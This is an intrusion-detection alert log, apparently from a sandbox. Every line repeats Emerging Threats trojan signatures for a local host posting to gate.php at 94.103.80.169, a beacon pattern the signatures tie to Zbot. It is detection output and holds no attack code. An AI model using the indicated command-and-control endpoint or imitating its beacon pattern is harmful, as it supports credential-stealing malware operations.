08/15/21-08:41:18.390978	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.390978	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.537547	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.537547	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.537547	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.688577	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.688577	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.688577	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.828603	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.828603	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.828603	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.969805	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.969805	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.969805	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.110275	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.110275	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.110275	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.250759	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.250759	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.250759	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.393724	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.393724	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.393724	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.534038	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.534038	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.534038	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.672952	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.672952	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.672952	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.814804	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.814804	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.814804	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.970992	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.970992	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:19.970992	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.112933	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.112933	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.112933	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.249788	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.249788	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.249788	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.390390	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.390390	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.390390	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.533421	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.533421	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.533421	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.674209	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.674209	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.674209	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.816308	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.816308	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.816308	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.956389	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.956389	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:20.956389	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.097228	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.097228	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.097228	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.252792	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.252792	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.252792	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.393541	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.393541	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.393541	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.531302	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.531302	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.531302	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.675455	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.675455	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.675455	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.817182	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.817182	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.817182	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.971667	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.971667	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:21.971667	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.110126	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.110126	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.110126	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.265994	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.265994	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.265994	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.409194	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.409194	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.409194	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.547725	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.547725	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.547725	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.688297	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.688297	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.688297	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.828316	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.828316	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.828316	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.970669	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.970669	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:22.970669	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.111723	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.111723	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.111723	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.251124	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.251124	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.251124	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.394743	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.394743	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.394743	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.547036	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.547036	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.547036	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.687611	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.687611	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.687611	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.839815	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.839815	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.839815	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.987675	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.987675	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:23.987675	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.128546	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.128546	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.128546	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.284935	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.284935	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.284935	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.422058	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.422058	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.422058	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.567438	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.567438	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.567438	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.704550	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.704550	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.704550	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.848242	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.848242	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.848242	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.989624	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.989624	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:24.989624	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.144343	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.144343	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.144343	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.284917	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.284917	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.284917	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.424985	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.424985	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.424985	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.563144	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.563144	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.563144	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.703563	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.703563	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.703563	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.843669	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.843669	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:25.843669	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.000837	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.000837	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.000837	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.143809	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.143809	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.143809	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.286892	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.286892	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.286892	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.425534	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.425534	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.425534	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.564438	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.564438	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.564438	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.704009	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.704009	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.704009	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.843957	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.843957	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.843957	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.986899	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.986899	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:26.986899	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.127629	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.127629	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.127629	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.268180	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.268180	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.268180	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.409156	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.409156	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.409156	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.547922	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.547922	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.547922	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.689896	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.689896	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.689896	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.830635	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.830635	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.830635	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.971300	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.971300	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:27.971300	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
